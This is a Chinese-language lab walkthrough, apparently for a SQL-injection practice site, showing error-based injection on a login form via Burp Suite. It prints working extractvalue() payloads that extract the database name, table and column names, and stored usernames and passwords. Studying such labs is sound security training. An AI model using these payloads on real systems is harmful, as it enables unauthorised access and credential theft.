(1)检测构造方式
由此看出输入的用户名以及密码都被一对单引号所包含。
方法一:
(2) 模拟真实环境,以用户的身份登录。
(3)用burp抓包。开启抓包,输入用户名和密码,会自动跳到这个页面,右键,点击send to repeater.
(4)打开burp的repeater页面,修改post参数,测试是否存在报错注入。
说明存在报错型注入。
(5)可用extractvalue(目标xml文档,搜索路径)进行攻击。
爆库名(库名前用‘~’进行区别)
uname=admin' and extractvalue(1,concat(0x7e,(select database()))) --+&passwd=admin&submit=Submit
爆表名
uname=admin' and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()))) --+&passwd=admin&submit=Submit
爆user表的列名
uname=admin' and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users'))) --+&passwd=admin&submit=Submit
爆值
uname=admin' and extractvalue(1,concat(0x7e,(select group_concat(username,0x3a,password) from users)))--+&passwd=admin&submit=Submit
其他用户值
uname=admin' and extractvalue(1,concat(0x7e,(select group_concat(username,0x3a,password) from users where username not in ('Dumb','I-kill-you'))))--+&passwd=admin&submit=Submit
(6)测试最后得到的值是否正确
方法二:
从(1)中看出可用闭合单引号,若通过其他途径知道了数据库里的一些用户名,即可获得密码。